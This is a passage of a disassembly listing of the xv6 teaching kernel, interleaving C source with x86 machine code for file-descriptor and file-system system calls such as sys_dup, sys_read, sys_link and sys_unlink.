801059c1: 8b 55 f4 mov -0xc(%ebp),%edx
801059c4: 89 10 mov %edx,(%eax)
return 0;
801059c6: b8 00 00 00 00 mov $0x0,%eax
}
801059cb: c9 leave
801059cc: c3 ret
801059cd <fdalloc>:
// Allocate a file descriptor for the given file.
// Takes over file reference from caller on success.
static int
fdalloc(struct file *f)
{
801059cd: 55 push %ebp
801059ce: 89 e5 mov %esp,%ebp
801059d0: 83 ec 10 sub $0x10,%esp
int fd;
for(fd = 0; fd < NOFILE; fd++){
801059d3: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
801059da: eb 30 jmp 80105a0c <fdalloc+0x3f>
if(proc->ofile[fd] == 0){
801059dc: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801059e2: 8b 55 fc mov -0x4(%ebp),%edx
801059e5: 83 c2 08 add $0x8,%edx
801059e8: 8b 44 90 08 mov 0x8(%eax,%edx,4),%eax
801059ec: 85 c0 test %eax,%eax
801059ee: 75 18 jne 80105a08 <fdalloc+0x3b>
proc->ofile[fd] = f;
801059f0: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801059f6: 8b 55 fc mov -0x4(%ebp),%edx
801059f9: 8d 4a 08 lea 0x8(%edx),%ecx
801059fc: 8b 55 08 mov 0x8(%ebp),%edx
801059ff: 89 54 88 08 mov %edx,0x8(%eax,%ecx,4)
return fd;
80105a03: 8b 45 fc mov -0x4(%ebp),%eax
80105a06: eb 0f jmp 80105a17 <fdalloc+0x4a>
static int
fdalloc(struct file *f)
{
int fd;
for(fd = 0; fd < NOFILE; fd++){
80105a08: 83 45 fc 01 addl $0x1,-0x4(%ebp)
80105a0c: 83 7d fc 0f cmpl $0xf,-0x4(%ebp)
80105a10: 7e ca jle 801059dc <fdalloc+0xf>
if(proc->ofile[fd] == 0){
proc->ofile[fd] = f;
return fd;
}
}
return -1;
80105a12: b8 ff ff ff ff mov $0xffffffff,%eax
}
80105a17: c9 leave
80105a18: c3 ret
80105a19 <sys_dup>:
int
sys_dup(void)
{
80105a19: 55 push %ebp
80105a1a: 89 e5 mov %esp,%ebp
80105a1c: 83 ec 28 sub $0x28,%esp
struct file *f;
int fd;
if(argfd(0, 0, &f) < 0)
80105a1f: 8d 45 f0 lea -0x10(%ebp),%eax
80105a22: 89 44 24 08 mov %eax,0x8(%esp)
80105a26: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80105a2d: 00
80105a2e: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80105a35: e8 1e ff ff ff call 80105958 <argfd>
80105a3a: 85 c0 test %eax,%eax
80105a3c: 79 07 jns 80105a45 <sys_dup+0x2c>
return -1;
80105a3e: b8 ff ff ff ff mov $0xffffffff,%eax
80105a43: eb 29 jmp 80105a6e <sys_dup+0x55>
if((fd=fdalloc(f)) < 0)
80105a45: 8b 45 f0 mov -0x10(%ebp),%eax
80105a48: 89 04 24 mov %eax,(%esp)
80105a4b: e8 7d ff ff ff call 801059cd <fdalloc>
80105a50: 89 45 f4 mov %eax,-0xc(%ebp)
80105a53: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80105a57: 79 07 jns 80105a60 <sys_dup+0x47>
return -1;
80105a59: b8 ff ff ff ff mov $0xffffffff,%eax
80105a5e: eb 0e jmp 80105a6e <sys_dup+0x55>
filedup(f);
80105a60: 8b 45 f0 mov -0x10(%ebp),%eax
80105a63: 89 04 24 mov %eax,(%esp)
80105a66: e8 1d b5 ff ff call 80100f88 <filedup>
return fd;
80105a6b: 8b 45 f4 mov -0xc(%ebp),%eax
}
80105a6e: c9 leave
80105a6f: c3 ret
80105a70 <sys_read>:
int
sys_read(void)
{
80105a70: 55 push %ebp
80105a71: 89 e5 mov %esp,%ebp
80105a73: 83 ec 28 sub $0x28,%esp
struct file *f;
int n;
char *p;
if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0)
80105a76: 8d 45 f4 lea -0xc(%ebp),%eax
80105a79: 89 44 24 08 mov %eax,0x8(%esp)
80105a7d: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80105a84: 00
80105a85: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80105a8c: e8 c7 fe ff ff call 80105958 <argfd>
80105a91: 85 c0 test %eax,%eax
80105a93: 78 35 js 80105aca <sys_read+0x5a>
80105a95: 8d 45 f0 lea -0x10(%ebp),%eax
80105a98: 89 44 24 04 mov %eax,0x4(%esp)
80105a9c: c7 04 24 02 00 00 00 movl $0x2,(%esp)
80105aa3: e8 58 fd ff ff call 80105800 <argint>
80105aa8: 85 c0 test %eax,%eax
80105aaa: 78 1e js 80105aca <sys_read+0x5a>
80105aac: 8b 45 f0 mov -0x10(%ebp),%eax
80105aaf: 89 44 24 08 mov %eax,0x8(%esp)
80105ab3: 8d 45 ec lea -0x14(%ebp),%eax
80105ab6: 89 44 24 04 mov %eax,0x4(%esp)
80105aba: c7 04 24 01 00 00 00 movl $0x1,(%esp)
80105ac1: e8 68 fd ff ff call 8010582e <argptr>
80105ac6: 85 c0 test %eax,%eax
80105ac8: 79 07 jns 80105ad1 <sys_read+0x61>
return -1;
80105aca: b8 ff ff ff ff mov $0xffffffff,%eax
80105acf: eb 19 jmp 80105aea <sys_read+0x7a>
return fileread(f, p, n);
80105ad1: 8b 4d f0 mov -0x10(%ebp),%ecx
80105ad4: 8b 55 ec mov -0x14(%ebp),%edx
80105ad7: 8b 45 f4 mov -0xc(%ebp),%eax
80105ada: 89 4c 24 08 mov %ecx,0x8(%esp)
80105ade: 89 54 24 04 mov %edx,0x4(%esp)
80105ae2: 89 04 24 mov %eax,(%esp)
80105ae5: e8 0b b6 ff ff call 801010f5 <fileread>
}
80105aea: c9 leave
80105aeb: c3 ret
80105aec <sys_write>:
int
sys_write(void)
{
80105aec: 55 push %ebp
80105aed: 89 e5 mov %esp,%ebp
80105aef: 83 ec 28 sub $0x28,%esp
struct file *f;
int n;
char *p;
if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0)
80105af2: 8d 45 f4 lea -0xc(%ebp),%eax
80105af5: 89 44 24 08 mov %eax,0x8(%esp)
80105af9: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80105b00: 00
80105b01: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80105b08: e8 4b fe ff ff call 80105958 <argfd>
80105b0d: 85 c0 test %eax,%eax
80105b0f: 78 35 js 80105b46 <sys_write+0x5a>
80105b11: 8d 45 f0 lea -0x10(%ebp),%eax
80105b14: 89 44 24 04 mov %eax,0x4(%esp)
80105b18: c7 04 24 02 00 00 00 movl $0x2,(%esp)
80105b1f: e8 dc fc ff ff call 80105800 <argint>
80105b24: 85 c0 test %eax,%eax
80105b26: 78 1e js 80105b46 <sys_write+0x5a>
80105b28: 8b 45 f0 mov -0x10(%ebp),%eax
80105b2b: 89 44 24 08 mov %eax,0x8(%esp)
80105b2f: 8d 45 ec lea -0x14(%ebp),%eax
80105b32: 89 44 24 04 mov %eax,0x4(%esp)
80105b36: c7 04 24 01 00 00 00 movl $0x1,(%esp)
80105b3d: e8 ec fc ff ff call 8010582e <argptr>
80105b42: 85 c0 test %eax,%eax
80105b44: 79 07 jns 80105b4d <sys_write+0x61>
return -1;
80105b46: b8 ff ff ff ff mov $0xffffffff,%eax
80105b4b: eb 19 jmp 80105b66 <sys_write+0x7a>
return filewrite(f, p, n);
80105b4d: 8b 4d f0 mov -0x10(%ebp),%ecx
80105b50: 8b 55 ec mov -0x14(%ebp),%edx
80105b53: 8b 45 f4 mov -0xc(%ebp),%eax
80105b56: 89 4c 24 08 mov %ecx,0x8(%esp)
80105b5a: 89 54 24 04 mov %edx,0x4(%esp)
80105b5e: 89 04 24 mov %eax,(%esp)
80105b61: e8 4b b6 ff ff call 801011b1 <filewrite>
}
80105b66: c9 leave
80105b67: c3 ret
80105b68 <sys_close>:
int
sys_close(void)
{
80105b68: 55 push %ebp
80105b69: 89 e5 mov %esp,%ebp
80105b6b: 83 ec 28 sub $0x28,%esp
int fd;
struct file *f;
if(argfd(0, &fd, &f) < 0)
80105b6e: 8d 45 f0 lea -0x10(%ebp),%eax
80105b71: 89 44 24 08 mov %eax,0x8(%esp)
80105b75: 8d 45 f4 lea -0xc(%ebp),%eax
80105b78: 89 44 24 04 mov %eax,0x4(%esp)
80105b7c: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80105b83: e8 d0 fd ff ff call 80105958 <argfd>
80105b88: 85 c0 test %eax,%eax
80105b8a: 79 07 jns 80105b93 <sys_close+0x2b>
return -1;
80105b8c: b8 ff ff ff ff mov $0xffffffff,%eax
80105b91: eb 24 jmp 80105bb7 <sys_close+0x4f>
proc->ofile[fd] = 0;
80105b93: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80105b99: 8b 55 f4 mov -0xc(%ebp),%edx
80105b9c: 83 c2 08 add $0x8,%edx
80105b9f: c7 44 90 08 00 00 00 movl $0x0,0x8(%eax,%edx,4)
80105ba6: 00
fileclose(f);
80105ba7: 8b 45 f0 mov -0x10(%ebp),%eax
80105baa: 89 04 24 mov %eax,(%esp)
80105bad: e8 1e b4 ff ff call 80100fd0 <fileclose>
return 0;
80105bb2: b8 00 00 00 00 mov $0x0,%eax
}
80105bb7: c9 leave
80105bb8: c3 ret
80105bb9 <sys_fstat>:
int
sys_fstat(void)
{
80105bb9: 55 push %ebp
80105bba: 89 e5 mov %esp,%ebp
80105bbc: 83 ec 28 sub $0x28,%esp
struct file *f;
struct stat *st;
if(argfd(0, 0, &f) < 0 || argptr(1, (void*)&st, sizeof(*st)) < 0)
80105bbf: 8d 45 f4 lea -0xc(%ebp),%eax
80105bc2: 89 44 24 08 mov %eax,0x8(%esp)
80105bc6: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80105bcd: 00
80105bce: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80105bd5: e8 7e fd ff ff call 80105958 <argfd>
80105bda: 85 c0 test %eax,%eax
80105bdc: 78 1f js 80105bfd <sys_fstat+0x44>
80105bde: c7 44 24 08 14 00 00 movl $0x14,0x8(%esp)
80105be5: 00
80105be6: 8d 45 f0 lea -0x10(%ebp),%eax
80105be9: 89 44 24 04 mov %eax,0x4(%esp)
80105bed: c7 04 24 01 00 00 00 movl $0x1,(%esp)
80105bf4: e8 35 fc ff ff call 8010582e <argptr>
80105bf9: 85 c0 test %eax,%eax
80105bfb: 79 07 jns 80105c04 <sys_fstat+0x4b>
return -1;
80105bfd: b8 ff ff ff ff mov $0xffffffff,%eax
80105c02: eb 12 jmp 80105c16 <sys_fstat+0x5d>
return filestat(f, st);
80105c04: 8b 55 f0 mov -0x10(%ebp),%edx
80105c07: 8b 45 f4 mov -0xc(%ebp),%eax
80105c0a: 89 54 24 04 mov %edx,0x4(%esp)
80105c0e: 89 04 24 mov %eax,(%esp)
80105c11: e8 90 b4 ff ff call 801010a6 <filestat>
}
80105c16: c9 leave
80105c17: c3 ret
80105c18 <sys_link>:
// Create the path new as a link to the same inode as old.
int
sys_link(void)
{
80105c18: 55 push %ebp
80105c19: 89 e5 mov %esp,%ebp
80105c1b: 83 ec 38 sub $0x38,%esp
char name[DIRSIZ], *new, *old;
struct inode *dp, *ip;
if(argstr(0, &old) < 0 || argstr(1, &new) < 0)
80105c1e: 8d 45 d8 lea -0x28(%ebp),%eax
80105c21: 89 44 24 04 mov %eax,0x4(%esp)
80105c25: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80105c2c: e8 5f fc ff ff call 80105890 <argstr>
80105c31: 85 c0 test %eax,%eax
80105c33: 78 17 js 80105c4c <sys_link+0x34>
80105c35: 8d 45 dc lea -0x24(%ebp),%eax
80105c38: 89 44 24 04 mov %eax,0x4(%esp)
80105c3c: c7 04 24 01 00 00 00 movl $0x1,(%esp)
80105c43: e8 48 fc ff ff call 80105890 <argstr>
80105c48: 85 c0 test %eax,%eax
80105c4a: 79 0a jns 80105c56 <sys_link+0x3e>
return -1;
80105c4c: b8 ff ff ff ff mov $0xffffffff,%eax
80105c51: e9 42 01 00 00 jmp 80105d98 <sys_link+0x180>
begin_op();
80105c56: e8 bf d7 ff ff call 8010341a <begin_op>
if((ip = namei(old)) == 0){
80105c5b: 8b 45 d8 mov -0x28(%ebp),%eax
80105c5e: 89 04 24 mov %eax,(%esp)
80105c61: e8 a3 c7 ff ff call 80102409 <namei>
80105c66: 89 45 f4 mov %eax,-0xc(%ebp)
80105c69: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80105c6d: 75 0f jne 80105c7e <sys_link+0x66>
end_op();
80105c6f: e8 2a d8 ff ff call 8010349e <end_op>
return -1;
80105c74: b8 ff ff ff ff mov $0xffffffff,%eax
80105c79: e9 1a 01 00 00 jmp 80105d98 <sys_link+0x180>
}
ilock(ip);
80105c7e: 8b 45 f4 mov -0xc(%ebp),%eax
80105c81: 89 04 24 mov %eax,(%esp)
80105c84: e8 d5 bb ff ff call 8010185e <ilock>
if(ip->type == T_DIR){
80105c89: 8b 45 f4 mov -0xc(%ebp),%eax
80105c8c: 0f b7 40 10 movzwl 0x10(%eax),%eax
80105c90: 66 83 f8 01 cmp $0x1,%ax
80105c94: 75 1a jne 80105cb0 <sys_link+0x98>
iunlockput(ip);
80105c96: 8b 45 f4 mov -0xc(%ebp),%eax
80105c99: 89 04 24 mov %eax,(%esp)
80105c9c: e8 41 be ff ff call 80101ae2 <iunlockput>
end_op();
80105ca1: e8 f8 d7 ff ff call 8010349e <end_op>
return -1;
80105ca6: b8 ff ff ff ff mov $0xffffffff,%eax
80105cab: e9 e8 00 00 00 jmp 80105d98 <sys_link+0x180>
}
ip->nlink++;
80105cb0: 8b 45 f4 mov -0xc(%ebp),%eax
80105cb3: 0f b7 40 16 movzwl 0x16(%eax),%eax
80105cb7: 8d 50 01 lea 0x1(%eax),%edx
80105cba: 8b 45 f4 mov -0xc(%ebp),%eax
80105cbd: 66 89 50 16 mov %dx,0x16(%eax)
iupdate(ip);
80105cc1: 8b 45 f4 mov -0xc(%ebp),%eax
80105cc4: 89 04 24 mov %eax,(%esp)
80105cc7: e8 d6 b9 ff ff call 801016a2 <iupdate>
iunlock(ip);
80105ccc: 8b 45 f4 mov -0xc(%ebp),%eax
80105ccf: 89 04 24 mov %eax,(%esp)
80105cd2: e8 d5 bc ff ff call 801019ac <iunlock>
if((dp = nameiparent(new, name)) == 0)
80105cd7: 8b 45 dc mov -0x24(%ebp),%eax
80105cda: 8d 55 e2 lea -0x1e(%ebp),%edx
80105cdd: 89 54 24 04 mov %edx,0x4(%esp)
80105ce1: 89 04 24 mov %eax,(%esp)
80105ce4: e8 42 c7 ff ff call 8010242b <nameiparent>
80105ce9: 89 45 f0 mov %eax,-0x10(%ebp)
80105cec: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
80105cf0: 75 02 jne 80105cf4 <sys_link+0xdc>
goto bad;
80105cf2: eb 68 jmp 80105d5c <sys_link+0x144>
ilock(dp);
80105cf4: 8b 45 f0 mov -0x10(%ebp),%eax
80105cf7: 89 04 24 mov %eax,(%esp)
80105cfa: e8 5f bb ff ff call 8010185e <ilock>
if(dp->dev != ip->dev || dirlink(dp, name, ip->inum) < 0){
80105cff: 8b 45 f0 mov -0x10(%ebp),%eax
80105d02: 8b 10 mov (%eax),%edx
80105d04: 8b 45 f4 mov -0xc(%ebp),%eax
80105d07: 8b 00 mov (%eax),%eax
80105d09: 39 c2 cmp %eax,%edx
80105d0b: 75 20 jne 80105d2d <sys_link+0x115>
80105d0d: 8b 45 f4 mov -0xc(%ebp),%eax
80105d10: 8b 40 04 mov 0x4(%eax),%eax
80105d13: 89 44 24 08 mov %eax,0x8(%esp)
80105d17: 8d 45 e2 lea -0x1e(%ebp),%eax
80105d1a: 89 44 24 04 mov %eax,0x4(%esp)
80105d1e: 8b 45 f0 mov -0x10(%ebp),%eax
80105d21: 89 04 24 mov %eax,(%esp)
80105d24: e8 20 c4 ff ff call 80102149 <dirlink>
80105d29: 85 c0 test %eax,%eax
80105d2b: 79 0d jns 80105d3a <sys_link+0x122>
iunlockput(dp);
80105d2d: 8b 45 f0 mov -0x10(%ebp),%eax
80105d30: 89 04 24 mov %eax,(%esp)
80105d33: e8 aa bd ff ff call 80101ae2 <iunlockput>
goto bad;
80105d38: eb 22 jmp 80105d5c <sys_link+0x144>
}
iunlockput(dp);
80105d3a: 8b 45 f0 mov -0x10(%ebp),%eax
80105d3d: 89 04 24 mov %eax,(%esp)
80105d40: e8 9d bd ff ff call 80101ae2 <iunlockput>
iput(ip);
80105d45: 8b 45 f4 mov -0xc(%ebp),%eax
80105d48: 89 04 24 mov %eax,(%esp)
80105d4b: e8 c1 bc ff ff call 80101a11 <iput>
end_op();
80105d50: e8 49 d7 ff ff call 8010349e <end_op>
return 0;
80105d55: b8 00 00 00 00 mov $0x0,%eax
80105d5a: eb 3c jmp 80105d98 <sys_link+0x180>
bad:
ilock(ip);
80105d5c: 8b 45 f4 mov -0xc(%ebp),%eax
80105d5f: 89 04 24 mov %eax,(%esp)
80105d62: e8 f7 ba ff ff call 8010185e <ilock>
ip->nlink--;
80105d67: 8b 45 f4 mov -0xc(%ebp),%eax
80105d6a: 0f b7 40 16 movzwl 0x16(%eax),%eax
80105d6e: 8d 50 ff lea -0x1(%eax),%edx
80105d71: 8b 45 f4 mov -0xc(%ebp),%eax
80105d74: 66 89 50 16 mov %dx,0x16(%eax)
iupdate(ip);
80105d78: 8b 45 f4 mov -0xc(%ebp),%eax
80105d7b: 89 04 24 mov %eax,(%esp)
80105d7e: e8 1f b9 ff ff call 801016a2 <iupdate>
iunlockput(ip);
80105d83: 8b 45 f4 mov -0xc(%ebp),%eax
80105d86: 89 04 24 mov %eax,(%esp)
80105d89: e8 54 bd ff ff call 80101ae2 <iunlockput>
end_op();
80105d8e: e8 0b d7 ff ff call 8010349e <end_op>
return -1;
80105d93: b8 ff ff ff ff mov $0xffffffff,%eax
}
80105d98: c9 leave
80105d99: c3 ret
80105d9a <isdirempty>:
// Is the directory dp empty except for "." and ".." ?
static int
isdirempty(struct inode *dp)
{
80105d9a: 55 push %ebp
80105d9b: 89 e5 mov %esp,%ebp
80105d9d: 83 ec 38 sub $0x38,%esp
int off;
struct dirent de;
for(off=2*sizeof(de); off<dp->size; off+=sizeof(de)){
80105da0: c7 45 f4 20 00 00 00 movl $0x20,-0xc(%ebp)
80105da7: eb 4b jmp 80105df4 <isdirempty+0x5a>
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
80105da9: 8b 45 f4 mov -0xc(%ebp),%eax
80105dac: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp)
80105db3: 00
80105db4: 89 44 24 08 mov %eax,0x8(%esp)
80105db8: 8d 45 e4 lea -0x1c(%ebp),%eax
80105dbb: 89 44 24 04 mov %eax,0x4(%esp)
80105dbf: 8b 45 08 mov 0x8(%ebp),%eax
80105dc2: 89 04 24 mov %eax,(%esp)
80105dc5: e8 a1 bf ff ff call 80101d6b <readi>
80105dca: 83 f8 10 cmp $0x10,%eax
80105dcd: 74 0c je 80105ddb <isdirempty+0x41>
panic("isdirempty: readi");
80105dcf: c7 04 24 8f 8d 10 80 movl $0x80108d8f,(%esp)
80105dd6: e8 5f a7 ff ff call 8010053a <panic>
if(de.inum != 0)
80105ddb: 0f b7 45 e4 movzwl -0x1c(%ebp),%eax
80105ddf: 66 85 c0 test %ax,%ax
80105de2: 74 07 je 80105deb <isdirempty+0x51>
return 0;
80105de4: b8 00 00 00 00 mov $0x0,%eax
80105de9: eb 1b jmp 80105e06 <isdirempty+0x6c>
isdirempty(struct inode *dp)
{
int off;
struct dirent de;
for(off=2*sizeof(de); off<dp->size; off+=sizeof(de)){
80105deb: 8b 45 f4 mov -0xc(%ebp),%eax
80105dee: 83 c0 10 add $0x10,%eax
80105df1: 89 45 f4 mov %eax,-0xc(%ebp)
80105df4: 8b 55 f4 mov -0xc(%ebp),%edx
80105df7: 8b 45 08 mov 0x8(%ebp),%eax
80105dfa: 8b 40 18 mov 0x18(%eax),%eax
80105dfd: 39 c2 cmp %eax,%edx
80105dff: 72 a8 jb 80105da9 <isdirempty+0xf>
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
panic("isdirempty: readi");
if(de.inum != 0)
return 0;
}
return 1;
80105e01: b8 01 00 00 00 mov $0x1,%eax
}
80105e06: c9 leave
80105e07: c3 ret
80105e08 <sys_unlink>:
//PAGEBREAK!
int
sys_unlink(void)
{
80105e08: 55 push %ebp
80105e09: 89 e5 mov %esp,%ebp
80105e0b: 83 ec 48 sub $0x48,%esp
struct inode *ip, *dp;
struct dirent de;
char name[DIRSIZ], *path;
uint off;
if(argstr(0, &path) < 0)
80105e0e: 8d 45 cc lea -0x34(%ebp),%eax
80105e11: 89 44 24 04 mov %eax,0x4(%esp)
80105e15: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80105e1c: e8 6f fa ff ff call 80105890 <argstr>
80105e21: 85 c0 test %eax,%eax
80105e23: 79 0a jns 80105e2f <sys_unlink+0x27>
return -1;
80105e25: b8 ff ff ff ff mov $0xffffffff,%eax
80105e2a: e9 af 01 00 00 jmp 80105fde <sys_unlink+0x1d6>
begin_op();
80105e2f: e8 e6 d5 ff ff call 8010341a <begin_op>
if((dp = nameiparent(path, name)) == 0){
80105e34: 8b 45 cc mov -0x34(%ebp),%eax
80105e37: 8d 55 d2 lea -0x2e(%ebp),%edx
80105e3a: 89 54 24 04 mov %edx,0x4(%esp)
80105e3e: 89 04 24 mov %eax,(%esp)
80105e41: e8 e5 c5 ff ff call 8010242b <nameiparent>
80105e46: 89 45 f4 mov %eax,-0xc(%ebp)
80105e49: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80105e4d: 75 0f jne 80105e5e <sys_unlink+0x56>
end_op();
80105e4f: e8 4a d6 ff ff call 8010349e <end_op>
return -1;
80105e54: b8 ff ff ff ff mov $0xffffffff,%eax
80105e59: e9 80 01 00 00 jmp 80105fde <sys_unlink+0x1d6>
}
ilock(dp);
80105e5e: 8b 45 f4 mov -0xc(%ebp),%eax
80105e61: 89 04 24 mov %eax,(%esp)
80105e64: e8 f5 b9 ff ff call 8010185e <ilock>
// Cannot unlink "." or "..".
if(namecmp(name, ".") == 0 || namecmp(name, "..") == 0)
80105e69: c7 44 24 04 a1 8d 10 movl $0x80108da1,0x4(%esp)
80105e70: 80
80105e71: 8d 45 d2 lea -0x2e(%ebp),%eax
80105e74: 89 04 24 mov %eax,(%esp)
80105e77: e8 e2 c1 ff ff call 8010205e <namecmp>
80105e7c: 85 c0 test %eax,%eax
80105e7e: 0f 84 45 01 00 00 je 80105fc9 <sys_unlink+0x1c1>
80105e84: c7 44 24 04 a3 8d 10 movl $0x80108da3,0x4(%esp)
80105e8b: 80
80105e8c: 8d 45 d2 lea -0x2e(%ebp),%eax
80105e8f: 89 04 24 mov %eax,(%esp)
80105e92: e8 c7 c1 ff ff call 8010205e <namecmp>
80105e97: 85 c0 test %eax,%eax
80105e99: 0f 84 2a 01 00 00 je 80105fc9 <sys_unlink+0x1c1>
goto bad;
if((ip = dirlookup(dp, name, &off)) == 0)
80105e9f: 8d 45 c8 lea -0x38(%ebp),%eax
80105ea2: 89 44 24 08 mov %eax,0x8(%esp)
80105ea6: 8d 45 d2 lea -0x2e(%ebp),%eax
80105ea9: 89 44 24 04 mov %eax,0x4(%esp)
80105ead: 8b 45 f4 mov -0xc(%ebp),%eax
80105eb0: 89 04 24 mov %eax,(%esp)
80105eb3: e8 c8 c1 ff ff call 80102080 <dirlookup>
80105eb8: 89 45 f0 mov %eax,-0x10(%ebp)
80105ebb: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
80105ebf: 75 05 jne 80105ec6 <sys_unlink+0xbe>
goto bad;
80105ec1: e9 03 01 00 00 jmp 80105fc9 <sys_unlink+0x1c1>
ilock(ip);
80105ec6: 8b 45 f0 mov -0x10(%ebp),%eax
80105ec9: 89 04 24 mov %eax,(%esp)
80105ecc: e8 8d b9 ff ff call 8010185e <ilock>
if(ip->nlink < 1)
80105ed1: 8b 45 f0 mov -0x10(%ebp),%eax
80105ed4: 0f b7 40 16 movzwl 0x16(%eax),%eax
80105ed8: 66 85 c0 test %ax,%ax
80105edb: 7f 0c jg 80105ee9 <sys_unlink+0xe1>
panic("unlink: nlink < 1");
80105edd: c7 04 24 a6 8d 10 80 movl $0x80108da6,(%esp)
80105ee4: e8 51 a6 ff ff call 8010053a <panic>
if(ip->type == T_DIR && !isdirempty(ip)){
80105ee9: 8b 45 f0 mov -0x10(%ebp),%eax
80105eec: 0f b7 40 10 movzwl 0x10(%eax),%eax
80105ef0: 66 83 f8 01 cmp $0x1,%ax
80105ef4: 75 1f jne 80105f15 <sys_unlink+0x10d>
80105ef6: 8b 45 f0 mov -0x10(%ebp),%eax
80105ef9: 89 04 24 mov %eax,(%esp)
80105efc: e8 99 fe ff ff call 80105d9a <isdirempty>
80105f01: 85 c0 test %eax,%eax
80105f03: 75 10 jne 80105f15 <sys_unlink+0x10d>
iunlockput(ip);
80105f05: 8b 45 f0 mov -0x10(%ebp),%eax
80105f08: 89 04 24 mov %eax,(%esp)
80105f0b: e8 d2 bb ff ff call 80101ae2 <iunlockput>
goto bad;
80105f10: e9 b4 00 00 00 jmp 80105fc9 <sys_unlink+0x1c1>
}
memset(&de, 0, sizeof(de));
80105f15: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
80105f1c: 00
80105f1d: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80105f24: 00
80105f25: 8d 45 e0 lea -0x20(%ebp),%eax
80105f28: 89 04 24 mov %eax,(%esp)
80105f2b: e8 8a f5 ff ff call 801054ba <memset>
if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
80105f30: 8b 45 c8 mov -0x38(%ebp),%eax
80105f33: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp)
80105f3a: 00
80105f3b: 89 44 24 08 mov %eax,0x8(%esp)
80105f3f: 8d 45 e0 lea -0x20(%ebp),%eax
80105f42: 89 44 24 04 mov %eax,0x4(%esp)
80105f46: 8b 45 f4 mov -0xc(%ebp),%eax
80105f49: 89 04 24 mov %eax,(%esp)
80105f4c: e8 7e bf ff ff call 80101ecf <writei>
80105f51: 83 f8 10 cmp $0x10,%eax
80105f54: 74 0c je 80105f62 <sys_unlink+0x15a>
panic("unlink: writei");
80105f56: c7 04 24 b8 8d 10 80 movl $0x80108db8,(%esp)
80105f5d: e8 d8 a5 ff ff call 8010053a <panic>
if(ip->type == T_DIR){
80105f62: 8b 45 f0 mov -0x10(%ebp),%eax
80105f65: 0f b7 40 10 movzwl 0x10(%eax),%eax
80105f69: 66 83 f8 01 cmp $0x1,%ax
80105f6d: 75 1c jne 80105f8b <sys_unlink+0x183>
dp->nlink--;
80105f6f: 8b 45 f4 mov -0xc(%ebp),%eax
80105f72: 0f b7 40 16 movzwl 0x16(%eax),%eax
80105f76: 8d 50 ff lea -0x1(%eax),%edx
80105f79: 8b 45 f4 mov -0xc(%ebp),%eax
80105f7c: 66 89 50 16 mov %dx,0x16(%eax)
iupdate(dp);
80105f80: 8b 45 f4 mov -0xc(%ebp),%eax
80105f83: 89 04 24 mov %eax,(%esp)
80105f86: e8 17 b7 ff ff call 801016a2 <iupdate>
}
iunlockput(dp);
80105f8b: 8b 45 f4 mov -0xc(%ebp),%eax
80105f8e: 89 04 24 mov %eax,(%esp)
80105f91: e8 4c bb ff ff call 80101ae2 <iunlockput>
ip->nlink--;
80105f96: 8b 45 f0 mov -0x10(%ebp),%eax
80105f99: 0f b7 40 16 movzwl 0x16(%eax),%eax
80105f9d: 8d 50 ff lea -0x1(%eax),%edx
80105fa0: 8b 45 f0 mov -0x10(%ebp),%eax
80105fa3: 66 89 50 16 mov %dx,0x16(%eax)
iupdate(ip);
80105fa7: 8b 45 f0 mov -0x10(%ebp),%eax
80105faa: 89 04 24 mov %eax,(%esp)
80105fad: e8 f0 b6 ff ff call 801016a2 <iupdate>
iunlockput(ip);
80105fb2: 8b 45 f0 mov -0x10(%ebp),%eax
80105fb5: 89 04 24 mov %eax,(%esp)
80105fb8: e8 25 bb ff ff call 80101ae2 <iunlockput>
end_op();
80105fbd: e8 dc d4 ff ff call 8010349e <end_op>
return 0;
80105fc2: b8 00 00 00 00 mov $0x0,%eax
80105fc7: eb 15 jmp 80105fde <sys_unlink+0x1d6>
bad:
iunlockput(dp);
80105fc9: 8b 45 f4 mov -0xc(%ebp),%eax
80105fcc: 89 04 24 mov %eax,(%esp)
80105fcf: e8 0e bb ff ff call 80101ae2 <iunlockput>
end_op();
80105fd4: e8 c5 d4 ff ff call 8010349e <end_op>
return -1;
80105fd9: b8 ff ff ff ff mov $0xffffffff,%eax
}
80105fde: c9 leave
80105fdf: c3 ret
80105fe0 <create>:
static struct inode*
create(char *path, short type, short major, short minor)
{
80105fe0: 55 push %ebp
80105fe1: 89 e5 mov %esp,%ebp
80105fe3: 83 ec 48 sub $0x48,%esp
80105fe6: 8b 4d 0c mov 0xc(%ebp),%ecx
80105fe9: 8b 55 10 mov 0x10(%ebp),%edx
80105fec: 8b 45 14 mov 0x14(%ebp),%eax
80105fef: 66 89 4d d4 mov %cx,-0x2c(%ebp)
80105ff3: 66 89 55 d0 mov %dx,-0x30(%ebp)
80105ff7: 66 89 45 cc mov %ax,-0x34(%ebp)
uint off;
struct inode *ip, *dp;
char name[DIRSIZ];
if((dp = nameiparent(path, name)) == 0)
80105ffb: 8d 45 de lea -0x22(%ebp),%eax
80105ffe: 89 44 24 04 mov %eax,0x4(%esp)
80106002: 8b 45 08 mov 0x8(%ebp),%eax
